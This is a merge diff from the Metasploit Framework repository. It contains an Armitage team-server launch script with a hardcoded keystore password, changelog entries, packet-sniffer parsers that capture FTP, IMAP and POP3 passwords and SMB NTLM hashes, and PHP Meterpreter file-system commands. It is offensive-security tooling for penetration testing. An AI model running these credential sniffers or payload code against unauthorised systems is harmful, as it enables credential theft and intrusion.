Merge branch 'master' of https://github.com/rapid7/metasploit-framework
@@ -1,3 +0,0 @@
|
||||
[submodule "lib/msf3"]
|
||||
path = lib/msf3
|
||||
url = git@framework.github.com:rapid7/metasploit-framework.git
|
||||
@@ -0,0 +1,8 @@
|
||||
source 'http://rubygems.org'
|
||||
gem 'rails', '3.2.2'
|
||||
gem 'metasploit_data_models', '0.0.2', :git => "git://github.com/rapid7/metasploit_data_models.git"
|
||||
gem 'pg', '>=0.13'
|
||||
gem 'msgpack'
|
||||
gem 'nokogiri'
|
||||
|
||||
|
||||
@@ -0,0 +1,72 @@
|
||||
#!/bin/bash
|
||||
# start msfrpcd and the deconfliction server. Check for common mistakes
|
||||
# to save some time and head scratching...
|
||||
|
||||
# check the arguments
|
||||
EXPECTED=2
|
||||
if [ $# -ne $EXPECTED ]; then
|
||||
echo "[-] You must provide: <external IP address> <team password>"
|
||||
echo " <external IP address> must be reachable by Armitage"
|
||||
echo " clients on port 55553"
|
||||
echo " <team password> is a shared password your team uses to"
|
||||
echo " authenticate to the Armitage team server"
|
||||
exit
|
||||
fi
|
||||
|
||||
# check that we're r00t
|
||||
if [ $UID -ne 0 ]; then
|
||||
echo "[-] Superuser privileges are required to run the team server"
|
||||
exit
|
||||
fi
|
||||
|
||||
# check if java is available...
|
||||
if [ $(command -v java) ]; then
|
||||
true
|
||||
else
|
||||
echo "[-] java is not in \$PATH"
|
||||
echo " is Java installed?"
|
||||
exit
|
||||
fi
|
||||
|
||||
# check if keytool is available...
|
||||
if [ $(command -v keytool) ]; then
|
||||
true
|
||||
else
|
||||
echo "[-] keytool is not in \$PATH"
|
||||
echo " install the Java Developer Kit"
|
||||
exit
|
||||
fi
|
||||
|
||||
# check if msfrpcd is available
|
||||
if [ $(command -v msfrpcd) ]; then
|
||||
true
|
||||
else
|
||||
echo "[-] msfrpcd is not in \$PATH"
|
||||
echo " is Metasploit installed?"
|
||||
exit
|
||||
fi
|
||||
|
||||
# check if msfrpcd is running or not
|
||||
if [ "$(pidof msfrpcd)" ]; then
|
||||
echo "[-] msfrpcd is already running. Kill it before running this script"
|
||||
echo " try: killall -9 msfrpcd"
|
||||
exit
|
||||
fi
|
||||
|
||||
# generate a certificate
|
||||
# naturally you're welcome to replace this step with your own permanent certificate.
|
||||
# just make sure you pass -Djavax.net.ssl.keyStore="/path/to/whatever" and
|
||||
# -Djavax.net.ssl.keyStorePassword="password" to java. This is used for setting up
|
||||
# an SSL server socket. Also, the SHA-1 digest of the first certificate in the store
|
||||
# is printed so users may have a chance to verify they're not being owned.
|
||||
echo "[+] Generating X509 certificate and keystore (for SSL)"
|
||||
rm -f ./armitage.store
|
||||
keytool -keystore ./armitage.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias armitage -dname "CN=Armitage Hacker, OU=FastAndEasyHacking, O=Armitage, L=Somewhere, S=Cyberspace, C=Earth"
|
||||
|
||||
# start everything up
|
||||
echo "[+] Starting RPC daemon"
|
||||
msfrpcd -U msf -P $2 -a 127.0.0.1 -p 55554 -S
|
||||
echo "[+] sleeping for 20s (to let msfrpcd initialize)"
|
||||
sleep 20
|
||||
echo "[+] Starting Armitage team server"
|
||||
java -Djavax.net.ssl.keyStore=./armitage.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+UseParallelGC -jar armitage.jar --server $1 55554 msf $2 55553
|
||||
@@ -1,6 +1,104 @@
|
||||
Armitage Changelog
|
||||
==================
|
||||
|
||||
17 May 12
|
||||
---------
|
||||
- Fixed bug with loot/download viewer breaking with a font resize.
|
||||
- Default console font color is now grey. I never noticed that I had
|
||||
white text on a black background before. That's a lot of contrast.
|
||||
This is adjustable too through Armitage -> Preferences.
|
||||
- And... the Armitage console now displays pretty colors. If you don't
|
||||
like colors, set the console.show_colors.boolean preference to false
|
||||
through Armitage -> Preferences.
|
||||
- Fixed a bug preventing input field from getting focus when popping a
|
||||
console tab using Ctrl+W.
|
||||
|
||||
14 May 12
|
||||
---------
|
||||
- Oopserific--dynamic workspace shortcuts were not bound until you
|
||||
clicked the Workspaces menu. I fixed that.
|
||||
- Improved console pool's ability to detect a dead console. If you saw
|
||||
"null" prompts in an open tab, it's because of a dead console. Fixed
|
||||
- Bound Ctrl+Backspace to reset dynamic workspaces. Ctrl+0 is now back
|
||||
to what it originally did (resetting the font size to default).
|
||||
- Added Ctrl+T to take a screenshot of the active tab
|
||||
- Added Ctrl+W to pop the active tab into its own window
|
||||
- Armitage team server is now SSL enabled. The teamserver script (you
|
||||
are using it, right?) generates a certificate for you using keytool.
|
||||
The server presents the SHA1 hash of its certificate. Armitage users
|
||||
have the opportunity to verify and trust the hash of the certificate
|
||||
presented to them or to reject it and not connect.
|
||||
- Added Ctrl+Left / Ctrl+Right to quickly navigate through tabs.
|
||||
- Added a check to prevent clients from connecting to msfrpcd directly
|
||||
when teaming is enabled.
|
||||
- Fixed a bug that prevented command shells from opening on some sessions
|
||||
- Team server client now caches certain calls to RPC server.
|
||||
- Reworked the Loot/Downloads View button. Now, all highlighted files are
|
||||
displayed in one View tab. This makes searching easier. Each file is
|
||||
displayed with a colored header (to make it easier to tell when one file
|
||||
ends and the other begins).
|
||||
- Added Sync Files button to Loot/Downloads tabs when connected to a team
|
||||
server. This button will download all files associated with the highlighted
|
||||
rows and save them in the Armitage data directory.
|
||||
|
||||
7 May 12
|
||||
--------
|
||||
Note: Armitage team server setup has changed. Refer to the manual for
|
||||
the latest information: http://www.fastandeasyhacking.com/manual#7
|
||||
|
||||
- Armitage team mode now routes all Metasploit-bound calls through the
|
||||
deconfliction server. Armitage also pools "temporary" Metasploit
|
||||
consoles. It's too bad this is logged as one change, because it's
|
||||
more like twenty. These changes were motivated by a desire to avoid
|
||||
triggering a race condition that was introduced w/ Metasploit 4.3.0.
|
||||
http://dev.metasploit.com/redmine/issues/6829
|
||||
|
||||
On the bright side these changes will allow a lot more flexibility
|
||||
to optimize how Armitage interacts with msfrpcd and to do some neat
|
||||
things (like logging) in a centralized way.
|
||||
- Module description (in module launch dialog) is now resizable.
|
||||
- Added Ctrl+D keyboard shortcut to close active tab.
|
||||
- Armitage now uses (more robust) console queue for launching post
|
||||
modules, handlers, brute force attacks, and other things.
|
||||
- Fixed a race condition in the Jobs tab refresh after killing a job
|
||||
- Armitage now filters smb hashes from non-psexec/smb login dialogs.
|
||||
- Added armitage.log_data_here.folder setting. This setting lets you
|
||||
specify where Armitage will save its logs, downloaded files, and
|
||||
screenshots. *cough* Some penetration testers like to dump everything
|
||||
to an encrypted volume. *cough*. I apologize it took this long to
|
||||
get this feature in place.
|
||||
- Improved perceived responsiveness of a console interaction
|
||||
|
||||
17 Apr 12
|
||||
---------
|
||||
- Modified how Armitage determines a console command is complete to stay
|
||||
compat with behavior changes in a recent Metasploit update.
|
||||
- Armitage now queues console commands to prevent out of order execution.
|
||||
|
||||
16 Apr 12
|
||||
---------
|
||||
- The search field in the module browser now updates results in real time.
|
||||
Start typing and Armitage will start filtering the module tree for you.
|
||||
Clear the field to reset it to the default state.
|
||||
- Added keyboard shortcuts to switch dynamic workspaces...
|
||||
Ctrl+1 = first workspace
|
||||
Ctrl+2 = second workspace
|
||||
....
|
||||
Ctrl+0 = show all
|
||||
- Added keyboard shortcuts:
|
||||
Ctrl+N = new console
|
||||
Ctrl+O = open preferences
|
||||
- Armitage's Meterpreter -> Access -> Dump Hashes -> lsass method is now
|
||||
much better about grabbing all of the hashdump output and adding it to
|
||||
the creds table. The hashdump command returns output as an arbitrary
|
||||
number of chunks. I now use a different read strategy for determining when
|
||||
the output is complete.
|
||||
- You may now use Ctrl+Alt to deselect highlighted items in a range in the
|
||||
Jobs and Workspaces table views (most other table views that do multi
|
||||
selection should allow this already).
|
||||
- Added Shell -> Pass Session for *NIX shell sessions. Uses the system_session
|
||||
module to pass a shell session elsewhere (or duplicate the current shell)
|
||||
|
||||
29 Mar 12
|
||||
---------
|
||||
- Fixed a bug that affects first-time users. Armitage was not initializing a
|
||||
|
||||
@@ -0,0 +1,3 @@
|
||||
Manifest-Version: 1.0
|
||||
SVG-Handler-Class: Exploit
|
||||
|
||||
@@ -15,6 +15,7 @@ class SnifferFTP < BaseProtocolParser
|
||||
:pass => /^PASS\s+([^\s]+)/i,
|
||||
:login_pass => /^(230\s*[^\n]+)/i,
|
||||
:login_fail => /^(5\d\d\s*[^\n]+)/i,
|
||||
:bye => /^221/
|
||||
}
|
||||
end
|
||||
|
||||
@@ -23,6 +24,7 @@ class SnifferFTP < BaseProtocolParser
|
||||
return unless pkt.is_tcp?
|
||||
return if (pkt.tcp_sport != 21 and pkt.tcp_dport != 21)
|
||||
s = find_session((pkt.tcp_sport == 21) ? get_session_src(pkt) : get_session_dst(pkt))
|
||||
s[:sname] ||= "ftp"
|
||||
|
||||
self.sigs.each_key do |k|
|
||||
# There is only one pattern per run to test
|
||||
@@ -38,21 +40,17 @@ class SnifferFTP < BaseProtocolParser
|
||||
|
||||
when :login_fail
|
||||
if(s[:user] and s[:pass])
|
||||
s[:proto]="ftp"
|
||||
s[:extra]="Failed Login. Banner: #{s[:banner]}"
|
||||
report_auth_info(s)
|
||||
print_status("Failed FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
report_auth_info(s.merge({:active => false}))
|
||||
print_status("Failed FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}")
|
||||
|
||||
s[:pass]=""
|
||||
s[:pass] = ""
|
||||
return
|
||||
end
|
||||
|
||||
when :login_pass
|
||||
if(s[:user] and s[:pass])
|
||||
s[:proto]="ftp"
|
||||
s[:extra]="Successful Login. Banner: #{s[:banner]}"
|
||||
report_auth_info(s)
|
||||
print_status("Successful FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
print_status("Successful FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}")
|
||||
# Remove it form the session objects so freeup memory
|
||||
sessions.delete(s[:session])
|
||||
return
|
||||
@@ -60,12 +58,14 @@ class SnifferFTP < BaseProtocolParser
|
||||
|
||||
when :banner
|
||||
# Because some ftp server send multiple banner we take only the first one and ignore the rest
|
||||
if not (s[:banner])
|
||||
sessions[s[:session]].merge!({k => matches})
|
||||
s[:name]="FTP Server Welcome Banner: \"#{s[:banner]}\""
|
||||
if not (s[:info])
|
||||
s[:info] = matches
|
||||
report_service(s)
|
||||
end
|
||||
|
||||
when :bye
|
||||
sessions.delete(s[:session])
|
||||
|
||||
when nil
|
||||
# No matches, no saved state
|
||||
else
|
||||
|
||||
@@ -25,6 +25,7 @@ class SnifferIMAP < BaseProtocolParser
|
||||
return unless pkt.is_tcp?
|
||||
return if (pkt.tcp_sport != 143 and pkt.tcp_dport != 143)
|
||||
s = find_session((pkt.tcp_sport == 143) ? get_session_src(pkt) : get_session_dst(pkt))
|
||||
s[:sname] ||= "imap4"
|
||||
|
||||
self.sigs.each_key do |k|
|
||||
# There is only one pattern per run to test
|
||||
@@ -38,14 +39,11 @@ class SnifferIMAP < BaseProtocolParser
|
||||
|
||||
case matched
|
||||
when :banner
|
||||
s[:banner] = matches
|
||||
s[:name] = "IMAP Server Welcome Banner: #{s[:banner]}"
|
||||
s[:info] = matches
|
||||
report_service(s)
|
||||
|
||||
when :login_pass
|
||||
|
||||
s[:proto]="imap4"
|
||||
s[:extra]="Sucessful Login. Banner: #{s[:banner]}"
|
||||
report_auth_info(s)
|
||||
print_status("Successful IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
|
||||
@@ -54,18 +52,14 @@ class SnifferIMAP < BaseProtocolParser
|
||||
|
||||
when :login_fail
|
||||
|
||||
s[:proto]="imap4"
|
||||
s[:extra]="Failed Login. Banner: #{s[:banner]}"
|
||||
report_auth_info(s)
|
||||
report_auth_info(s.merge({:active => false}))
|
||||
print_status("Failed IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
|
||||
# Remove it form the session objects so freeup
|
||||
sessions.delete(s[:session])
|
||||
|
||||
when :login_bad
|
||||
s[:proto]="imap4"
|
||||
s[:extra]="Failed Login. Banner: #{s[:banner]}"
|
||||
report_auth_info(s)
|
||||
report_auth_info(s.merge({:active => false}))
|
||||
print_status("Bad IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
|
||||
# Remove it form the session objects so freeup
|
||||
|
||||
@@ -38,8 +38,9 @@ class SnifferPOP3 < BaseProtocolParser
|
||||
case s[:last]
|
||||
when nil
|
||||
# Its the first +OK must include the banner, worst case its just +OK
|
||||
s[:banner] = matches
|
||||
s[:name] = "POP3 Server Welcome Banner: \"#{s[:banner]}\""
|
||||
s[:info] = matches
|
||||
s[:proto] = "tcp"
|
||||
s[:name] = "pop3"
|
||||
report_service(s)
|
||||
|
||||
when :user
|
||||
@@ -48,8 +49,9 @@ class SnifferPOP3 < BaseProtocolParser
|
||||
when :pass
|
||||
# Perfect we get an +OK after a PASS command this means right password given :-)
|
||||
|
||||
s[:proto]="pop3"
|
||||
s[:extra]="Successful Login. Banner: #{s[:banner]}"
|
||||
s[:proto] = "tcp"
|
||||
s[:name] = "pop3"
|
||||
s[:extra] = "Successful Login. Banner: #{s[:banner]}"
|
||||
report_auth_info(s)
|
||||
print_status("Successful POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
|
||||
|
||||
@@ -5,26 +5,31 @@
|
||||
#
|
||||
|
||||
#Memo :
|
||||
# Authentification without extended security set
|
||||
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 0
|
||||
#2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 0 and contains server challenge (aka encryption key) and wordcount = 17
|
||||
#3) client -> server : smb_setup_andx (0x73) : contains lm/ntlm hashes and wordcount = 13 (not 0)
|
||||
#4) server -> client : smb_setup_andx (0x73) : if status = success then authentification ok
|
||||
#FOR SMBV1
|
||||
# Authentification without extended security set
|
||||
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 0
|
||||
#2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 0 and contains server challenge (aka encryption key) and wordcount = 17
|
||||
#3) client -> server : smb_setup_andx (0x73) : contains lm/ntlm hashes and wordcount = 13 (not 0)
|
||||
#4) server -> client : smb_setup_andx (0x73) : if status = success then authentification ok
|
||||
|
||||
# Authentification with extended security set
|
||||
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 1
|
||||
#2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 1
|
||||
#3) client -> server : smb_setup_andx (0x73) : contains an ntlm_type1 message
|
||||
#4) server -> client : smb_setup_andx (0x73) : contains an ntlm_type2 message with the server challenge
|
||||
#5) client -> server : smb_setup_andx (0x73) : contains an ntlm_type3 message with the lm/ntlm hashes
|
||||
#6) server -> client : smb_setup_andx (0x73) : if status = success then authentification = ok
|
||||
# Authentification with extended security set
|
||||
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 1
|
||||
#2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 1
|
||||
#3) client -> server : smb_setup_andx (0x73) : contains an ntlm_type1 message
|
||||
#4) server -> client : smb_setup_andx (0x73) : contains an ntlm_type2 message with the server challenge
|
||||
#5) client -> server : smb_setup_andx (0x73) : contains an ntlm_type3 message with the lm/ntlm hashes
|
||||
#6) server -> client : smb_setup_andx (0x73) : if status = success then authentification = ok
|
||||
#FOR SMBV2
|
||||
#SMBv2 is pretty similar. However, extended security is always set and it is using a newer set of smb negociate and session_setup command for requets/response
|
||||
|
||||
class SnifferSMB < BaseProtocolParser
|
||||
|
||||
def register_sigs
|
||||
self.sigs = {
|
||||
:setupandx => /\xffSMB\x73/,
|
||||
:negotiate => /\xffSMB\x72/,
|
||||
:smb1_negotiate => /\xffSMB\x72/n,
|
||||
:smb1_setupandx => /\xffSMB\x73/n,
|
||||
#:smb2_negotiate => /\xFESMB\x40\x00(.){6}\x00\x00/n,
|
||||
:smb2_setupandx => /\xFESMB\x40\x00(.){6}\x01\x00/n
|
||||
}
|
||||
end
|
||||
|
||||
@@ -45,7 +50,7 @@ class SnifferSMB < BaseProtocolParser
|
||||
end
|
||||
|
||||
case matched
|
||||
when :negotiate
|
||||
when :smb1_negotiate
|
||||
payload = pkt.payload.dup
|
||||
wordcount = payload[36,1].unpack("C")[0]
|
||||
#negotiate response
|
||||
@@ -54,128 +59,16 @@ class SnifferSMB < BaseProtocolParser
|
||||
#the server challenge is here
|
||||
if flags2 & 0x800 == 0
|
||||
s[:challenge] = payload[73,8].unpack("H*")[0]
|
||||
s[:last] = :negotiate
|
||||
s[:last] = :smb1_negotiate
|
||||
end
|
||||
end
|
||||
|
||||
when :setupandx
|
||||
payload = pkt.payload.dup
|
||||
|
||||
ntlmpayload = payload[/NTLMSSP\x00.*/m]
|
||||
if ntlmpayload
|
||||
ntlmmessagetype = ntlmpayload[8,4].unpack("V")[0]
|
||||
case ntlmmessagetype
|
||||
when 2 # challenge
|
||||
s[:challenge] = ntlmpayload[24,8].unpack("H*")[0]
|
||||
s[:last] = :ntlm_type2
|
||||
when 3 # auth
|
||||
if s[:last] == :ntlm_type2
|
||||
lmlength = ntlmpayload[12, 2].unpack("v")[0]
|
||||
lmoffset = ntlmpayload[16, 2].unpack("v")[0]
|
||||
ntlmlength = ntlmpayload[20, 2].unpack("v")[0]
|
||||
ntlmoffset = ntlmpayload[24, 2].unpack("v")[0]
|
||||
domainlength = ntlmpayload[28, 2].unpack("v")[0]
|
||||
domainoffset = ntlmpayload[32, 2].unpack("v")[0]
|
||||
usrlength = ntlmpayload[36, 2].unpack("v")[0]
|
||||
usroffset = ntlmpayload[40, 2].unpack("v")[0]
|
||||
|
||||
s[:lmhash] = ntlmpayload[lmoffset, lmlength].unpack("H*")[0] || ''
|
||||
s[:ntlmhash] = ntlmpayload[ntlmoffset, ntlmlength].unpack("H*")[0] || ''
|
||||
s[:domain] = ntlmpayload[domainoffset, domainlength].gsub("\x00","") || ''
|
||||
s[:user] = ntlmpayload[usroffset, usrlength].gsub("\x00","") || ''
|
||||
|
||||
secbloblength = payload[51,2].unpack("v")[0]
|
||||
names = (payload[63..-1][secbloblength..-1] || '').split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
|
||||
s[:peer_os] = names[0] || ''
|
||||
s[:peer_lm] = names[1] || ''
|
||||
s[:last] = :ntlm_type3
|
||||
end
|
||||
end
|
||||
else
|
||||
wordcount = payload[36,1].unpack("C")[0]
|
||||
#authentification without smb extended security (smbmount, msf server capture)
|
||||
if wordcount == 13 and s[:last] == :negotiate
|
||||
lmlength = payload[51,2].unpack("v")[0]
|
||||
ntlmlength = payload[53,2].unpack("v")[0]
|
||||
s[:lmhash] = payload[65,lmlength].unpack("H*")[0]
|
||||
s[:ntlmhash] = payload[65 + lmlength, ntlmlength].unpack("H*")[0]
|
||||
|
||||
names = payload[Range.new(65 + lmlength + ntlmlength,-1)].split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
|
||||
|
||||
s[:user] = names[0]
|
||||
s[:domain] = names[1]
|
||||
s[:peer_os] = names[2]
|
||||
s[:peer_lm] = names[3]
|
||||
s[:last] = :smb_no_ntlm
|
||||
else
|
||||
#answer from server
|
||||
if s[:last] == :ntlm_type3 or s[:last] == :smb_no_ntlm
|
||||
#do not output anonymous/guest logging
|
||||
unless s[:user] == '' or s[:ntlmhash] == '' or s[:ntlmhash] =~ /^(00)*$/m
|
||||
#set lmhash to a default value if not provided
|
||||
s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m
|
||||
s[:lmhash] = "00" * 24 if s[:lmhash] == s[:ntlmhash]
|
||||
|
||||
smb_status = payload[9,4].unpack("V")[0]
|
||||
if smb_status == 0 # success
|
||||
|
||||
ntlm_ver = detect_ntlm_ver(s[:lmhash],s[:ntlmhash])
|
||||
|
||||
logmessage =
|
||||
"#{ntlm_ver} Response Captured in session : #{s[:session]} \n" +
|
||||
"USER:#{s[:user]} DOMAIN:#{s[:domain]} OS:#{s[:peer_os]} LM:#{s[:peer_lm]}\n" +
|
||||
"SERVER CHALLENGE:#{s[:challenge]} " +
|
||||
"\nLMHASH:#{s[:lmhash]} " +
|
||||
"\nNTHASH:#{s[:ntlmhash]}\n"
|
||||
print_status(logmessage)
|
||||
|
||||
src_ip = s[:host]
|
||||
dst_ip = s[:session].split("-")[1].split(":")[0]
|
||||
# know this is ugly , last code added :-/
|
||||
smb_db_type_hash = case ntlm_ver
|
||||
when "NTLMv1" then "smb_netv1_hash"
|
||||
when "NTLM2_SESSION" then "smb_netv1_hash"
|
||||
when "NTLMv2" then "smb_netv2_hash"
|
||||
end
|
||||
# DB reporting
|
||||
report_auth_info(
|
||||
:host => dst_ip,
|
||||
:port => 445,
|
||||
:sname => 'smb',
|
||||
:user => s[:user],
|
||||
:pass => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge],
|
||||
:type => smb_db_type_hash,
|
||||
:proof => "DOMAIN=#{s[:domain]} OS=#{s[:peer_os]}",
|
||||
:active => true
|
||||
)
|
||||
|
||||
report_note(
|
||||
:host => src_ip,
|
||||
:type => "smb_peer_os",
|
||||
:data => s[:peer_os]
|
||||
) if (s[:peer_os] and s[:peer_os].strip.length > 0)
|
||||
|
||||
report_note(
|
||||
:host => src_ip,
|
||||
:type => "smb_peer_lm",
|
||||
:data => s[:peer_lm]
|
||||
) if (s[:peer_lm] and s[:peer_lm].strip.length > 0)
|
||||
|
||||
report_note(
|
||||
:host => src_ip,
|
||||
:type => "smb_domain",
|
||||
:data => s[:domain]
|
||||
) if (s[:domain] and s[:domain].strip.length > 0)
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
s[:last] = nil
|
||||
sessions.delete(s[:session])
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
when :smb1_setupandx
|
||||
s[:smb_version] = "SMBv1"
|
||||
parse_sessionsetup(pkt, s)
|
||||
when :smb2_setupandx
|
||||
s[:smb_version] = "SMBv2"
|
||||
parse_sessionsetup(pkt, s)
|
||||
when nil
|
||||
# No matches, no saved state
|
||||
else
|
||||
@@ -197,6 +90,122 @@ class SnifferSMB < BaseProtocolParser
|
||||
else
|
||||
raise RuntimeError, "Unknow hash type"
|
||||
end
|
||||
end
|
||||
|
||||
def parse_sessionsetup(pkt, s)
|
||||
payload = pkt.payload.dup
|
||||
ntlmpayload = payload[/NTLMSSP\x00.*/m]
|
||||
if ntlmpayload
|
||||
ntlmmessagetype = ntlmpayload[8,4].unpack("V")[0]
|
||||
case ntlmmessagetype
|
||||
when 2 # challenge
|
||||
s[:challenge] = ntlmpayload[24,8].unpack("H*")[0]
|
||||
s[:last] = :ntlm_type2
|
||||
when 3 # auth
|
||||
if s[:last] == :ntlm_type2
|
||||
lmlength = ntlmpayload[12, 2].unpack("v")[0]
|
||||
lmoffset = ntlmpayload[16, 2].unpack("v")[0]
|
||||
ntlmlength = ntlmpayload[20, 2].unpack("v")[0]
|
||||
ntlmoffset = ntlmpayload[24, 2].unpack("v")[0]
|
||||
domainlength = ntlmpayload[28, 2].unpack("v")[0]
|
||||
domainoffset = ntlmpayload[32, 2].unpack("v")[0]
|
||||
usrlength = ntlmpayload[36, 2].unpack("v")[0]
|
||||
usroffset = ntlmpayload[40, 2].unpack("v")[0]
|
||||
|
||||
s[:lmhash] = ntlmpayload[lmoffset, lmlength].unpack("H*")[0] || ''
|
||||
s[:ntlmhash] = ntlmpayload[ntlmoffset, ntlmlength].unpack("H*")[0] || ''
|
||||
s[:domain] = ntlmpayload[domainoffset, domainlength].gsub("\x00","") || ''
|
||||
s[:user] = ntlmpayload[usroffset, usrlength].gsub("\x00","") || ''
|
||||
|
||||
secbloblength = payload[51,2].unpack("v")[0]
|
||||
names = (payload[63..-1][secbloblength..-1] || '').split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
|
||||
s[:peer_os] = names[0] || ''
|
||||
s[:peer_lm] = names[1] || ''
|
||||
s[:last] = :ntlm_type3
|
||||
end
|
||||
end
|
||||
else
|
||||
wordcount = payload[36,1].unpack("C")[0]
|
||||
#authentification without smb extended security (smbmount, msf server capture)
|
||||
if wordcount == 13 and s[:last] == :smb1_negotiate and s[:smb_version] == "SMBv1"
|
||||
lmlength = payload[51,2].unpack("v")[0]
|
||||
ntlmlength = payload[53,2].unpack("v")[0]
|
||||
s[:lmhash] = payload[65,lmlength].unpack("H*")[0]
|
||||
s[:ntlmhash] = payload[65 + lmlength, ntlmlength].unpack("H*")[0]
|
||||
|
||||
names = payload[Range.new(65 + lmlength + ntlmlength,-1)].split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
|
||||
|
||||
s[:user] = names[0]
|
||||
s[:domain] = names[1]
|
||||
s[:peer_os] = names[2]
|
||||
s[:peer_lm] = names[3]
|
||||
s[:last] = :smb_no_ntlm
|
||||
else
|
||||
#answer from server
|
||||
if s[:last] == :ntlm_type3 or s[:last] == :smb_no_ntlm
|
||||
#do not output anonymous/guest logging
|
||||
unless s[:user] == '' or s[:ntlmhash] == '' or s[:ntlmhash] =~ /^(00)*$/m
|
||||
#set lmhash to a default value if not provided
|
||||
s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m
|
||||
s[:lmhash] = "00" * 24 if s[:lmhash] == s[:ntlmhash]
|
||||
|
||||
smb_status = payload[9,4].unpack("V")[0]
|
||||
if smb_status == 0 # success
|
||||
|
||||
ntlm_ver = detect_ntlm_ver(s[:lmhash],s[:ntlmhash])
|
||||
|
||||
logmessage =
|
||||
"#{ntlm_ver} Response Captured in #{s[:smb_version]} session : #{s[:session]} \n" +
|
||||
"USER:#{s[:user]} DOMAIN:#{s[:domain]} OS:#{s[:peer_os]} LM:#{s[:peer_lm]}\n" +
|
||||
"SERVER CHALLENGE:#{s[:challenge]} " +
|
||||
"\nLMHASH:#{s[:lmhash]} " +
|
||||
"\nNTHASH:#{s[:ntlmhash]}\n"
|
||||
print_status(logmessage)
|
||||
|
||||
src_ip = s[:client_host]
|
||||
dst_ip = s[:host]
|
||||
# know this is ugly , last code added :-/
|
||||
smb_db_type_hash = case ntlm_ver
|
||||
when "NTLMv1" then "smb_netv1_hash"
|
||||
when "NTLM2_SESSION" then "smb_netv1_hash"
|
||||
when "NTLMv2" then "smb_netv2_hash"
|
||||
end
|
||||
# DB reporting
|
||||
report_auth_info(
|
||||
:host => dst_ip,
|
||||
:port => 445,
|
||||
:sname => 'smb',
|
||||
:user => s[:user],
|
||||
:pass => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge],
|
||||
:type => smb_db_type_hash,
|
||||
:proof => "DOMAIN=#{s[:domain]} OS=#{s[:peer_os]}",
|
||||
:active => true
|
||||
)
|
||||
|
||||
report_note(
|
||||
:host => src_ip,
|
||||
:type => "smb_peer_os",
|
||||
:data => s[:peer_os]
|
||||
) if (s[:peer_os] and s[:peer_os].strip.length > 0)
|
||||
|
||||
report_note(
|
||||
:host => src_ip,
|
||||
:type => "smb_peer_lm",
|
||||
:data => s[:peer_lm]
|
||||
) if (s[:peer_lm] and s[:peer_lm].strip.length > 0)
|
||||
|
||||
report_note(
|
||||
:host => src_ip,
|
||||
:type => "smb_domain",
|
||||
:data => s[:domain]
|
||||
) if (s[:domain] and s[:domain].strip.length > 0)
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
s[:last] = nil
|
||||
sessions.delete(s[:session])
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -283,6 +283,7 @@ function cononicalize_path($path) {
|
||||
# traditionally used this to get environment variables from the server.
|
||||
#
|
||||
if (!function_exists('stdapi_fs_file_expand_path')) {
|
||||
register_command('stdapi_fs_file_expand_path');
|
||||
function stdapi_fs_file_expand_path($req, &$pkt) {
|
||||
my_print("doing expand_path");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
|
||||
@@ -320,8 +321,29 @@ function stdapi_fs_file_expand_path($req, &$pkt) {
|
||||
}
|
||||
}
|
||||
|
||||
if (!function_exists('stdapi_fs_delete_dir')) {
|
||||
register_command('stdapi_fs_delete_dir');
|
||||
function stdapi_fs_delete_dir($req, &$pkt) {
|
||||
my_print("doing rmdir");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
|
||||
$ret = @rmdir(cononicalize_path($path_tlv['value']));
|
||||
return $ret ? ERROR_SUCCESS : ERROR_FAILURE;
|
||||
}
|
||||
}
|
||||
|
||||
if (!function_exists('stdapi_fs_mkdir')) {
|
||||
register_command('stdapi_fs_mkdir');
|
||||
function stdapi_fs_mkdir($req, &$pkt) {
|
||||
my_print("doing mkdir");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
|
||||
$ret = @mkdir(cononicalize_path($path_tlv['value']));
|
||||
return $ret ? ERROR_SUCCESS : ERROR_FAILURE;
|
||||
}
|
||||
}
|
||||
|
||||
# works
|
||||
if (!function_exists('stdapi_fs_chdir')) {
|
||||
register_command('stdapi_fs_chdir');
|
||||
function stdapi_fs_chdir($req, &$pkt) {
|
||||
my_print("doing chdir");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH);
|
||||
@@ -332,6 +354,7 @@ function stdapi_fs_chdir($req, &$pkt) {
|
||||
|
||||
# works
|
||||
if (!function_exists('stdapi_fs_delete')) {
|
||||
register_command('stdapi_fs_delete');
|
||||
